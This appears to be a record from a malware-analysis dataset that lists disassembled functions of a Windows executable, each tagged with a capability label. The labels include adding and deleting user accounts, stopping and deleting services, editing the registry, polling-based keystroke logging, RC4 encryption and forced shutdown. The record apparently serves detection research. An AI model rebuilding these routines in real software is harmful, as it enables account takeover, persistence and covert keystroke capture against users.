joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406830
Capabilities:
Add user account
Add user account to group

Disassembly:
sub esp, 0xf4
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
mov ecx, 0x4b
xor eax, eax
mov edi, 0x48cc58
rep stosd dword es:[edi], eax
push eax
mov ecx, 0x4b
mov edi, 0x48cc58
push eax
push 0xffffffffffffffff
push 0x48cc58
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push eax
call esi
mov edi, eax
lea eax, [edi + edi]
push eax
call fcn.00462100
mov ebx, eax
add esp, 4
test ebx, ebx
mov dword [esp + 0x10], ebx
jne 0x40688f
push eax
call fcn.0046210e
add esp, 4
push edi
push ebx
push 0xffffffffffffffff
push 0x48cc58
push 0
push 0
call esi
push 0
push 0
push 0xffffffffffffffff
push 0x48ccbc
push 0
push 0
call esi
mov edi, eax
lea ecx, [edi + edi]
push ecx
call fcn.00462100
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x4068cc
push eax
call fcn.0046210e
add esp, 4
push edi
push ebp
push 0xffffffffffffffff
push 0x48ccbc
push 0
push 0
call esi
push 0
push 0
push 0xffffffffffffffff
push 0x48cd20
push 0
push 0
call esi
mov edi, eax
lea edx, [edi + edi]
push edx
call fcn.00462100
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x406909
push eax
call fcn.0046210e
add esp, 4
push edi
push ebx
push 0xffffffffffffffff
push 0x48cd20
push 0
push 0
call esi
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1c]
mov esi, 1
push ecx
xor edi, edi
push edx
push esi
push edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ebp
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], 0x4882c8
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], edi
call sub.NETAPI32.dll_NetUserAdd
mov word [esp + 0x3c], di
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x3e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x3c]
push eax
push ecx
call fcn.00462f24
add esp, 8
lea eax, [esp + 0x14]
lea edx, [esp + 0x3c]
push esi
push eax
push 3
push ebx
push 0
mov dword [esp + 0x28], edx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0046210e
push ebp
call fcn.0046210e
push ebx
call fcn.0046210e
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret 4

Function at 0x4069c0
Capabilities:
Delete user account

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push edi
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0
call ebp
mov edi, eax
lea eax, [edi + edi]
push eax
call fcn.00462100
mov esi, eax
add esp, 4
test esi, esi
jne 0x4069f8
push eax
call fcn.0046210e
add esp, 4
push edi
push esi
push 0xffffffffffffffff
push ebx
push 0
push 0
call ebp
push esi
push 0
call sub.NETAPI32.dll_NetUserDel
push esi
call fcn.0046210e
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x406e70
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x10c
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x118]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
test esi, esi
je 0x406edc
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push 4
push edx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x406ed9
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push 0x104
push eax
push ecx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
push esi
call edi
push esi
call edi
pop edi
lea eax, [esp + 0xc]
pop esi
add esp, 0x10c
ret
Function at 0x407d60
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4794e0
push 0x4629fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x407d97
jmp dword [eax*4 + 0x407ee0]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x407d97
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x407d97
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x407d97
cmp edx, 2
jbe 0x407e20
cmp edx, 4
jne case.default.0x407d97
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x407d97
jmp 0x407ea4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x407d97
jmp 0x407ea4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x407d97
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x407d97
jmp 0x407ea4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x407d97
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x407d97
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00407ecb
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40af40
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
xor ebx, ebx
mov ecx, esi
mov dl, byte [esi]
test dl, dl
je 0x40af5d
xor dl, bl
inc ebx
mov byte [ecx], dl
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x40af50
mov al, byte [esi]
mov edx, esi
test al, al
mov ecx, esi
je 0x40af6f
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x40af67
dec ecx
cmp esi, ecx
jae 0x40af82
mov bl, byte [ecx]
mov al, byte [edx]
mov byte [edx], bl
mov byte [ecx], al
inc edx
dec ecx
cmp edx, ecx
jb 0x40af74
mov eax, esi
pop esi
pop ebx
ret
Function at 0x40b7a0
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x479518
push 0x4629fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x13c], ebx
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp ebx, edi
jne 0x40b80c
cmp esi, edi
je 0x40b887
lea ecx, [ebp - 0x138]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x40b887
cmp dword [ebp - 0x134], 1
je 0x40b846
lea edx, [ebp - 0x138]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40b887
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x53c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x53c]
push edx
push SysStringLen
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], 0xffffffff
call fcn.0040b8b0
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40bdd0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov dword [esi], 0x479524
call edi
nop
mov eax, dword [esi + 0x28]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
call ebx
push 0
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call edi
mov edx, dword [esi + 0x24]
push 0
push edx
call ebx
push 0
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call edi
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call ebx
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x40be3f
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40be49
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40be53
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40be5d
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.00406480
pop edi
pop esi
pop ebx
ret
Function at 0x40d000
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x40d045
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x40d040
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret

Function at 0x40d730
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0xa058]
mov dword [ebx], 0x47952c
test eax, eax
jbe 0x40d774
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x418]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xa058]
inc edi
add esi, 4
cmp edi, eax
jb 0x40d754
pop esi
pop ebp
mov ecx, ebx
call fcn.00406480
pop edi
pop ebx
ret

Function at 0x40dd20
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x104
push esi
mov esi, ecx
push str.bj2012
call fcn.0040dc90
add esp, 4
lea eax, [esp + 4]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 4]
push eax
push ecx
lea edx, [esp + 0xc]
push str._s_d.bak
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 4]
lea ecx, [esi + 0x210]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [esp + 8]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040c540
add esi, 0x10
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
pop esi
add esp, 0x104
ret

Function at 0x4106a0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.004100c0
add esp, 8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 4]
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.004100c0
add esp, 8
ret

Function at 0x4106e0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x410c90
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call fcn.00462100
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x410d04
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x410ce2
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x410d04
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x410cda
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x410ced
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x470e4d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0x2c]
mov ebx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x2c]
sub ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
lea ecx, [edi + ecx - 0x106]
sub ebx, eax
cmp eax, ecx
jb 0x470ed5
mov eax, dword [esi + 0x38]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call fcn.00466c70
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
mov dword [ebp + 8], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp + 8]
mov word [eax], cx
jne 0x470e98
mov eax, dword [esi + 0x40]
mov dword [ebp + 8], edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp + 8]
mov word [eax], cx
jne 0x470eba
add ebx, edi
mov eax, dword [esi]
cmp dword [eax + 4], 0
je 0x470f30
mov ecx, dword [esi + 0x74]
push ebx
add ecx, dword [esi + 0x6c]
add ecx, dword [esi + 0x38]
push ecx
push eax
call fcn.00470f35
add dword [esi + 0x74], eax
mov ebx, dword [esi + 0x74]
add esp, 0xc
cmp ebx, 3
jb 0x470f1c
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x470f30
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x470e59
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40f250
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48db8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00481dee
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40f2d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047f94a
mov eax, dword [eax]
push 0x654220
push eax
call fcn.00465df4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00482079
test bl, bl
je 0x40f2d2
push 0x654220
lea ecx, [esp + 0xc]
call fcn.00482409
push 0x657d9c
lea ecx, [esp + 0xc]
call fcn.00482409
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40f30e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00482079
jmp 0x40f3d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40f392
lea edx, [esp + 0x7c]
push 0x657d98
push edx
call fcn.00465df4
add esp, 8
test eax, eax
je 0x40f392
lea eax, [esp + 0x7c]
push 0x657d94
push eax
call fcn.00465df4
add esp, 8
test eax, eax
je 0x40f392
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40f322
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00482079
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40fbd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40fc32
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40fc40
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48dc0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x6641a0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40fd78
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40fca6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00482079
xor eax, eax
jmp 0x40fdef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004821b6
push esi
lea ecx, [esp + 0xc]
call fcn.00482445
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x657dd4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40fdcd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040fbd0
test eax, eax
jne 0x40fdcd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040fbd0
test eax, eax
jne 0x40fdcd
lea eax, [esp + 0x14]
push 0x657db0
push eax
call fcn.00466e30
mov esi, eax
add esp, 8
test esi, esi
jne 0x40fdac
lea ecx, [esp + 0x14]
push 0x657dac
push ecx
call fcn.00466db0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40fdac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40fdaf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00482166
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40fcbe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00482079
xor eax, eax
jmp 0x40fdef
mov byte [esi], 0
push 0x657da8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00482079
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x423e70
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x423ede
cmp si, 0x69
ja 0x423ede
add esi, 0xffd0
cmp si, 0x11
je 0x423eae
push 0x11
call edi
test ax, ax
jge 0x423eae
or esi, 0x2000
cmp si, 0x10
je 0x423ec3
push 0x10
call edi
test ax, ax
jge 0x423ec3
or esi, 0x4000
cmp si, 0x12
je 0x423ed8
push 0x12
call edi
test ax, ax
jge 0x423ed8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x423eeb
mov esi, 0xbd
jmp 0x423e9f
cmp si, 0x6e
jne 0x423ef8
mov esi, 0xbe
jmp 0x423e9f
cmp si, 0x6f
jne 0x423e99
mov esi, 0xbf
jmp 0x423e9f

Function at 0x425620
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x674a10]
xor edx, edx
cmp eax, edx
jne 0x425646
xor eax, eax
mov byte [eax + 0x674910], al
inc eax
cmp eax, 0x100
jl 0x42562e
mov dword [0x674a10], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x674910
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4256d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4256aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x425678
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x425750
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4257a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42578a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret